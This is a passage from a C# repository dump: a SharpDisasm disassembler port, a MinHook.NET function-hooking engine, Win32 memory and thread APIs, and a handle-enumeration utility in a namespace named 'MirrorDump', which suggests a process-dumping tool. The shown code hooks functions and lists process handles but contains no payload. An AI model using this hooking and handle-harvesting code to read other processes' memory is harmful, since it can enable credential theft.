| 4 | netstandard2.0;net45;net4;net35 5 | ..\bin\$(Configuration)\ 6 | 7 | 8 | 9 | true 10 | true 11 | 12 | Justin Stenning 13 | Copyright (c) 2018 Justin Stenning 14 | https://github.com/spazzarama/SharpDisasm/blob/master/LICENSE.md 15 | https://github.com/spazzarama/SharpDisasm 16 | https://github.com/spazzarama/SharpDisasm 17 | SharpDisam is a disassembler written in C# able to decode the x86 and x86-64 instruction set architectures. 18 | 19 | It features: 20 | * a full C# port of the libudis86 C library 21 | * a set of simple C# classes wrapping the udis86 API 22 | * support for x86 16-bit, 32-bit and 64-bit instruction set architectures 23 | * support for outputting in Intel and AT&T syntax 24 | * support for all x86 and x86-64 (AMD64) General purpose and System instructions. 25 | * support for the following ISA extensions: 26 | - MMX, FPU (x87), AMD 3DNow 27 | - SSE, SSE2, SSE3, SSSE3, SSE4.1, SSE4.2, AES, 28 | - AMD-V, INTEL-VMX, SMX 29 | * instructions are defined in an XML document that is consumed by a T4 template to generate opcode tables for performance. 30 | * the XML instructions document is exactly the same as that found within the udis86 project. The generated C# opcode tables is also very similar except in syntax to those generated by the Python script in the libudis86 C-library. 31 | * able to decode more than 4 million 64-bit instructions per second (with an average instruction size of 7-bytes) 32 | 33 | Usage: https://github.com/spazzarama/SharpDisasm or http://sharpdisasm.codeplex.com/documentation 34 | Git 35 | ASM disassembler x86 x86-64 instructions opcodes decoder AMD Intel 36 | true 37 | 38 | 1. Added ability to resolve RIP relative addresses in ASM outputting 39 | 2. 64-bit definition fixes for a number of instructions 40 | 3. Support for .NET Standard target 41 | 42 | 1.1.9 43 | 1. Added support for offset into IAssemblyCode 44 | 2. Fix exceptions on invalid instructions (contributed by ste-art) 45 | 3. Fix ATT syntax for enter/bound mnemonics being dropped 46 | 4. Translator internals refactored (better code reuse) 47 | 5. A few Debug.Asserts replaced with exceptions for Translator and Instruction.ToString 48 | 1.1.5 49 | 1. Use of unsafe replaced with an assembly code reader interface 50 | 1.0.2 51 | 1. Full port of udis86 C-library into C# 52 | 2. Wrapper class Disassembler for those not familiar with the libudis86 C-library 53 | 54 | 55 | 56 | 57 | TextTemplatingFileGenerator 58 | OpTable.cs 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | True 69 | True 70 | OpTable.tt 71 | 72 | 73 | 74 | 75 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Helpers/AssemblyCodeOffset.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\Helpers\AssemblyCodeOffset.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Text; 41 | 42 | namespace SharpDisasm.Helpers 43 | { 44 | /// 45 | /// 46 | /// 47 | internal class AssemblyCodeOffset : IAssemblyCode 48 | { 49 | private IAssemblyCode code; 50 | private int offset; 51 | 52 | /// 53 | /// Initializes a new instance of the class. 54 | /// 55 | /// The code. 56 | /// The offset. 57 | public AssemblyCodeOffset(IAssemblyCode code, int offset) 58 | { 59 | this.code = code; 60 | this.offset = offset; 61 | } 62 | 63 | /// 64 | /// Gets or sets the at the specified index. 65 | /// 66 | /// 67 | /// The . 68 | /// 69 | /// The index. 70 | /// 71 | byte IAssemblyCode.this[int index] { get { return code[index + offset]; } } 72 | 73 | /// 74 | /// Gets the length. 75 | /// 76 | /// 77 | /// The length. 78 | /// 79 | int IAssemblyCode.Length { get { return code.Length - offset; } } 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /MinHook.NET/HookEngine.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | using static MinHook.Utils; 6 | 7 | namespace MinHook { 8 | public class HookEngine { 9 | 10 | MemoryAllocator memoryAllocator = new MemoryAllocator(); 11 | Dictionary hooks = new Dictionary(); 12 | List suspendedThreads = new List(); 13 | 14 | public Func CreateHook(string dll, string function, Func detour) where Func : Delegate { 15 | 16 | IntPtr target = GetProcAddress(GetModuleHandle(dll), function); 17 | 18 | if (target == IntPtr.Zero) 19 | throw new EntryPointNotFoundException($"Function {function} could not be found in DLL {dll}"); 20 | 21 | lock (this) { 22 | var hook = new Hook(target, Marshal.GetFunctionPointerForDelegate(detour), memoryAllocator.AllocateBuffer(target)); 23 | Func original = (Func)Marshal.GetDelegateForFunctionPointer(hook.Original, typeof(Func)); 24 | hooks.Add(original, hook); 25 | return original; 26 | } 27 | } 28 | 29 | public void EnableHooks() { 30 | foreach(var hook in hooks) { 31 | EnableHook(hook.Key); 32 | } 33 | } 34 | 35 | public void DisableHooks() { 36 | foreach (var hook in hooks) { 37 | DisableHook(hook.Key); 38 | } 39 | } 40 | 41 | public void EnableHook(Delegate original) { 42 | lock (this) { 43 | if (!hooks.ContainsKey(original)) { 44 | throw new KeyNotFoundException("Hook not found, was this delegate create with CreateHook?"); 45 | } 46 | 47 | SuspendThreads(); 48 | hooks[original].Enable(true); 49 | ResumeThreads(); 50 | } 51 | } 52 | 53 | public void DisableHook(Delegate original) { 54 | lock (this) { 55 | if (!hooks.ContainsKey(original)) { 56 | throw new KeyNotFoundException("Hook not found, was this delegate create with CreateHook?"); 57 | } 58 | 59 | SuspendThreads(); 60 | hooks[original].Enable(false); 61 | ResumeThreads(); 62 | } 63 | } 64 | 65 | void SuspendThreads() { 66 | 67 | //Suspending all threads when debugging causes deadlocks. 68 | if (Debugger.IsAttached) { 69 | return; 70 | } 71 | 72 | //TODO: Currently doesn't move thread IP if any of the threads 73 | //are executing within the location of a hook prologue at the time. 74 | //This will probably crash the program if that scenario happens 75 | 76 | Process currentProc = Process.GetCurrentProcess(); 77 | 78 | foreach(ProcessThread thread in currentProc.Threads) { 79 | if(thread.Id != GetCurrentThreadId()) { 80 | IntPtr threadHandle = OpenThread(ThreadAccess.SUSPEND_RESUME, false, (uint)thread.Id); 81 | SuspendThread(threadHandle); 82 | suspendedThreads.Add(threadHandle); 83 | } 84 | } 85 | } 86 | 87 | void ResumeThreads() { 88 | 89 | foreach(var handle in suspendedThreads) { 90 | ResumeThread(handle); 91 | CloseHandle(handle); 92 | } 93 | 94 | suspendedThreads.Clear(); 95 | } 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Helpers/AssemblyCodeMemory.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\Helpers\AssemblyCodeMemory.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Runtime.InteropServices; 41 | using System.Text; 42 | 43 | namespace SharpDisasm.Helpers 44 | { 45 | /// 46 | /// 47 | /// 48 | internal class AssemblyCodeMemory : IAssemblyCode 49 | { 50 | 51 | private IntPtr pointer; 52 | private int length; 53 | 54 | /// 55 | /// Initializes a new instance of the class. 56 | /// 57 | /// The pointer. 58 | /// The length. 59 | public AssemblyCodeMemory(IntPtr pointer, int length) 60 | { 61 | this.pointer = pointer; 62 | this.length = length; 63 | } 64 | 65 | /// 66 | /// Gets or sets the at the specified index. 67 | /// 68 | /// 69 | /// The . 70 | /// 71 | /// The index. 72 | /// 73 | byte IAssemblyCode.this[int index] 74 | { 75 | get 76 | { 77 | if (index > length) 78 | throw new IndexOutOfRangeException(); 79 | 80 | return Marshal.ReadByte(pointer, index); 81 | } 82 | } 83 | 84 | /// 85 | /// Gets the length. 86 | /// 87 | /// 88 | /// The length. 89 | /// 90 | int IAssemblyCode.Length { get { return length; } } 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Udis86/ud_operand_size.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\ud_operand_size.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Text; 41 | 42 | 43 | namespace SharpDisasm.Udis86 44 | { 45 | #pragma warning disable 1591 46 | /// 47 | /// Operand size constants 48 | /// 49 | public enum ud_operand_size 50 | { 51 | /* 52 | * Operand size constants 53 | * 54 | * Symbolic constants for various operand sizes. Some of these constants 55 | * are given a value equal to the width of the data (SZ_B == 8), such 56 | * that they maybe used interchangeably in the internals. Modifying them 57 | * will most certainly break things! 58 | */ 59 | 60 | SZ_NA = 0, 61 | SZ_Z = 1, 62 | SZ_V = 2, 63 | SZ_Y = 3, 64 | SZ_X = 4, 65 | SZ_RDQ = 7, 66 | 67 | /* the following values are used as is, 68 | * and thus hard-coded. changing them 69 | * will break internals 70 | */ 71 | SZ_B = 8, 72 | SZ_W = 16, 73 | SZ_D = 32, 74 | SZ_Q = 64, 75 | SZ_T = 80, 76 | SZ_O = 12, 77 | SZ_DQ = 128, // double quad 78 | SZ_QQ = 256, // quad quad 79 | 80 | 81 | /* 82 | * complex size types, that encode sizes for operands 83 | * of type MR (memory or register), for internal use 84 | * only. Id space 256 and above. 85 | */ 86 | SZ_BD = (SZ_B << 8) | SZ_D, 87 | SZ_BV = (SZ_B << 8) | SZ_V, 88 | SZ_WD = (SZ_W << 8) | SZ_D, 89 | SZ_WV = (SZ_W << 8) | SZ_V, 90 | SZ_WY = (SZ_W << 8) | SZ_Y, 91 | SZ_DY = (SZ_D << 8) | SZ_Y, 92 | SZ_WO = (SZ_W << 8) | SZ_O, 93 | SZ_DO = (SZ_D << 8) | SZ_O, 94 | SZ_QO = (SZ_Q << 8) | SZ_O, 95 | } 96 | 97 | internal static class ud_operand_size_Extensions 98 | { 99 | public static ud_operand_size Mx_mem_size(this ud_operand_size size) 100 | { 101 | return (ud_operand_size)((int)size >> 8 & 0xff); 102 | } 103 | 104 | public static ud_operand_size Mx_reg_size(this ud_operand_size size) 105 | { 106 | return (ud_operand_size)((int)size & 0xff); 107 | } 108 | } 109 | #pragma warning restore 1591 110 | } 111 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Udis86/ud.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\ud.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Text; 41 | 42 | using SharpDisasm.Helpers; 43 | 44 | #pragma warning disable 1591 45 | namespace SharpDisasm.Udis86 46 | { 47 | public delegate void UdTranslatorDelegate(ref ud ud); 48 | public delegate string UdSymbolResolverDelegate(ref ud ud, long addr, ref long offset); 49 | 50 | public sealed class ud 51 | { 52 | public IAssemblyCode inp_buf; 53 | public int inp_buf_size { get { return inp_buf.Length; } } 54 | 55 | public int inp_buf_index; 56 | public byte inp_curr; 57 | public int inp_ctr; 58 | public int inp_end; 59 | public int inp_peek; 60 | 61 | public UdTranslatorDelegate translator; 62 | 63 | public ulong insn_offset; 64 | 65 | /* 66 | * Assembly output buffer 67 | */ 68 | public char[] asm_buf; 69 | public int asm_buf_size; 70 | public int asm_buf_fill; 71 | public char[] asm_buf_int = new char[128]; 72 | 73 | /* 74 | * Symbol resolver for use in the translation phase. 75 | */ 76 | public UdSymbolResolverDelegate sym_resolver; 77 | 78 | public byte dis_mode; 79 | public UInt64 pc; 80 | public byte vendor; 81 | public ud_mnemonic_code mnemonic; 82 | public ud_operand[] operand = new ud_operand[4]; 83 | public byte error; 84 | public string errorMessage; 85 | public byte _rex; 86 | public byte pfx_rex; 87 | public byte pfx_seg; 88 | public byte pfx_opr; 89 | public byte pfx_adr; 90 | public byte pfx_lock; 91 | public byte pfx_str; 92 | public byte pfx_rep; 93 | public byte pfx_repe; 94 | public byte pfx_repne; 95 | public byte opr_mode; 96 | public byte adr_mode; 97 | public byte br_far; 98 | public byte br_near; 99 | public byte have_modrm; 100 | public byte modrm; 101 | public byte modrm_offset; 102 | public byte vex_op; 103 | public byte vex_b1; 104 | public byte vex_b2; 105 | public byte primary_opcode; 106 | public ud_itab_entry itab_entry; 107 | public ud_lookup_table_list_entry le; 108 | 109 | /// 110 | /// Initializes a new instance of the class. 111 | /// 112 | public ud() 113 | { 114 | inp_buf = new AssemblyCodeArray(new byte[64]); 115 | } 116 | 117 | } 118 | } 119 | #pragma warning restore 1591 -------------------------------------------------------------------------------- /lib/Boo.Microsoft.Build.targets: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | $(BooBinPath) 6 | $(ToolsPath) 7 | 8 | 9 | 10 | $(MSBuildThisFileDirectory) 11 | ./ 12 | 13 | 14 | 17 | 18 | 19 | $(MSBuildAllProjects);$(BooToolPath)\Boo.Microsoft.Build.targets 20 | .boo 21 | Boo 22 | 23 | 24 | 25 | 27 | false 28 | 29 | 30 | <_DisabledWarnings>$(NoWarn) 31 | 32 | 33 | true 34 | 35 | 36 | 37 | 38 | $(IntermediateOutputPath) 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | _ComputeNonExistentFileProperty 52 | 53 | 72 | 105 | 106 | <_CoreCompileResourceInputs Remove="@(_CoreCompileResourceInputs)" /> 107 | 108 | 109 | 110 | 111 | -------------------------------------------------------------------------------- /MinHook.NET/Utils.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace MinHook { 5 | internal static class Utils { 6 | public enum MemoryState : uint { 7 | Commited = 0x1000, 8 | Free = 0x10000, 9 | Reserved = 0x2000 10 | } 11 | 12 | [StructLayout(LayoutKind.Sequential)] 13 | public struct MEMORY_BASIC_INFORMATION { 14 | public UIntPtr BaseAddress; 15 | public UIntPtr AllocationBase; 16 | public uint AllocationProtect; 17 | public IntPtr RegionSize; 18 | public MemoryState State; 19 | public uint Protect; 20 | public uint Type; 21 | } 22 | 23 | [Flags] 24 | public enum AllocationType { 25 | Commit = 0x1000, 26 | Reserve = 0x2000, 27 | Decommit = 0x4000, 28 | Release = 0x8000, 29 | Reset = 0x80000, 30 | Physical = 0x400000, 31 | TopDown = 0x100000, 32 | WriteWatch = 0x200000, 33 | LargePages = 0x20000000 34 | } 35 | 36 | [Flags] 37 | public enum MemoryProtection : uint { 38 | Execute = 0x10, 39 | ExecuteRead = 0x20, 40 | ExecuteReadWrite = 0x40, 41 | ExecuteWriteCopy = 0x80, 42 | NoAccess = 0x01, 43 | ReadOnly = 0x02, 44 | ReadWrite = 0x04, 45 | WriteCopy = 0x08, 46 | GuardModifierflag = 0x100, 47 | NoCacheModifierflag = 0x200, 48 | WriteCombineModifierflag = 0x400 49 | } 50 | 51 | [StructLayout(LayoutKind.Sequential)] 52 | public struct SYSTEM_INFO { 53 | internal ushort wProcessorArchitecture; 54 | internal ushort wReserved; 55 | internal uint dwPageSize; 56 | internal IntPtr lpMinimumApplicationAddress; 57 | internal IntPtr lpMaximumApplicationAddress; 58 | internal IntPtr dwActiveProcessorMask; 59 | internal uint dwNumberOfProcessors; 60 | internal uint dwProcessorType; 61 | internal uint dwAllocationGranularity; 62 | internal ushort wProcessorLevel; 63 | internal ushort wProcessorRevision; 64 | } 65 | 66 | [Flags] 67 | public enum FreeType { 68 | Decommit = 0x4000, 69 | Release = 0x8000, 70 | } 71 | 72 | [Flags] 73 | public enum ThreadAccess : int { 74 | TERMINATE = (0x0001), 75 | SUSPEND_RESUME = (0x0002), 76 | GET_CONTEXT = (0x0008), 77 | SET_CONTEXT = (0x0010), 78 | SET_INFORMATION = (0x0020), 79 | QUERY_INFORMATION = (0x0040), 80 | SET_THREAD_TOKEN = (0x0080), 81 | IMPERSONATE = (0x0100), 82 | DIRECT_IMPERSONATION = (0x0200) 83 | } 84 | 85 | [DllImport("kernel32.dll", SetLastError = true)] 86 | public static extern void GetSystemInfo(ref SYSTEM_INFO Info); 87 | 88 | [DllImport("kernel32.dll")] 89 | public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, MemoryProtection flNewProtect, out MemoryProtection oldProtect); 90 | 91 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 92 | public static extern IntPtr VirtualAlloc(IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect); 93 | 94 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 95 | public static extern bool VirtualFree(IntPtr lpAddress, int dwSize, FreeType dwFreeType); 96 | 97 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true, EntryPoint = "RtlMoveMemory", CharSet = CharSet.Auto)] 98 | public static extern void CopyMemory(IntPtr destData, IntPtr srcData, int size); 99 | 100 | [DllImport("kernel32.dll")] 101 | public static extern int VirtualQuery(IntPtr lpAddress, ref MEMORY_BASIC_INFORMATION lpBuffer,int dwLength); 102 | 103 | [DllImport("kernel32.dll", CharSet = CharSet.Auto)] 104 | public static extern IntPtr GetModuleHandle(string lpModuleName); 105 | 106 | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] 107 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 108 | 109 | [DllImport("kernel32.dll", SetLastError = true)] 110 | public static extern int SuspendThread(IntPtr hThread); 111 | 112 | [DllImport("kernel32.dll", SetLastError = true)] 113 | public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId); 114 | 115 | [DllImport("kernel32.dll")] 116 | public static extern uint GetCurrentThreadId(); 117 | 118 | [DllImport("kernel32.dll", SetLastError = true)] 119 | [return: MarshalAs(UnmanagedType.Bool)] 120 | public static extern bool CloseHandle(IntPtr hObject); 121 | 122 | [DllImport("kernel32.dll", SetLastError = true)] 123 | public static extern uint ResumeThread(IntPtr hThread); 124 | } 125 | } 126 | -------------------------------------------------------------------------------- /ProcessUtility.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | 6 | namespace MirrorDump { 7 | 8 | /// 9 | /// https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/handle_table_entry.htm?ts=0,242 10 | /// https://stackoverflow.com/questions/54872228/c-sharp-how-to-find-all-handles-associated-with-current-process 11 | /// 12 | public class ProcessUtility { 13 | 14 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 15 | public struct SYSTEM_HANDLE_INFORMATION { 16 | // Information Class 16 17 | public int ProcessID; 18 | public byte ObjectTypeNumber; 19 | public byte Flags; // 0x01 = PROTECT_FROM_CLOSE, 0x02 = INHERIT 20 | public ushort Handle; 21 | public int Object_Pointer; 22 | public UInt32 GrantedAccess; 23 | } 24 | 25 | public class ProcessHandle { 26 | public IntPtr Handle; 27 | public Process Process; 28 | } 29 | 30 | [DllImport("kernel32.dll", SetLastError= true)] 31 | public static extern uint GetProcessId(IntPtr handle); 32 | 33 | [DllImport("ntdll.dll")] 34 | public static extern uint NtQuerySystemInformation(int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int returnLength); 35 | 36 | [DllImport("kernel32.dll", EntryPoint = "RtlCopyMemory")] 37 | static extern void CopyMemory(byte[] Destination, IntPtr Source, uint Length); 38 | 39 | private const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004; 40 | private const int CNST_SYSTEM_HANDLE_INFORMATION = 0x10; 41 | private const int OBJECT_TYPE_PROCESS = 0x7; 42 | 43 | static bool Is64Bits() { 44 | return Marshal.SizeOf(typeof(IntPtr)) == 8 ? true : false; 45 | } 46 | 47 | static List GetHandles(Process process, int? type) { 48 | uint nStatus; 49 | int nHandleInfoSize = 0x10000; 50 | IntPtr ipHandlePointer = Marshal.AllocHGlobal(nHandleInfoSize); 51 | int nLength = 0; 52 | IntPtr ipHandle = IntPtr.Zero; 53 | List lstHandles = new List(); 54 | 55 | while ((nStatus = NtQuerySystemInformation(CNST_SYSTEM_HANDLE_INFORMATION, ipHandlePointer, nHandleInfoSize, ref nLength)) == STATUS_INFO_LENGTH_MISMATCH) { 56 | nHandleInfoSize = nLength; 57 | Marshal.FreeHGlobal(ipHandlePointer); 58 | ipHandlePointer = Marshal.AllocHGlobal(nLength); 59 | } 60 | 61 | if(nStatus != 0) { 62 | Console.WriteLine($"[!] Failed to query handle information with error 0x{nStatus:x}"); 63 | return lstHandles; 64 | } 65 | 66 | byte[] baTemp = new byte[nLength]; 67 | CopyMemory(baTemp, ipHandlePointer, (uint)nLength); 68 | 69 | long lHandleCount = 0; 70 | if (Is64Bits()) { 71 | lHandleCount = Marshal.ReadInt32(ipHandlePointer); 72 | ipHandle = new IntPtr(ipHandlePointer.ToInt64() + 8); 73 | } else { 74 | lHandleCount = Marshal.ReadInt32(ipHandlePointer); 75 | ipHandle = new IntPtr(ipHandlePointer.ToInt32() + 4); 76 | } 77 | 78 | SYSTEM_HANDLE_INFORMATION shHandle; 79 | 80 | for (long lIndex = 0; lIndex < lHandleCount; lIndex++) { 81 | shHandle = new SYSTEM_HANDLE_INFORMATION(); 82 | if (Is64Bits()) { 83 | shHandle = (SYSTEM_HANDLE_INFORMATION)Marshal.PtrToStructure(ipHandle, shHandle.GetType()); 84 | ipHandle = new IntPtr(ipHandle.ToInt64() + Marshal.SizeOf(shHandle) + 8); 85 | } else { 86 | ipHandle = new IntPtr(ipHandle.ToInt64() + Marshal.SizeOf(shHandle)); 87 | shHandle = (SYSTEM_HANDLE_INFORMATION)Marshal.PtrToStructure(ipHandle, shHandle.GetType()); 88 | } 89 | if (shHandle.ProcessID != process.Id) continue; 90 | if(!type.HasValue) 91 | lstHandles.Add(shHandle); 92 | else if(type.Value == shHandle.ObjectTypeNumber) 93 | lstHandles.Add(shHandle); 94 | } 95 | return 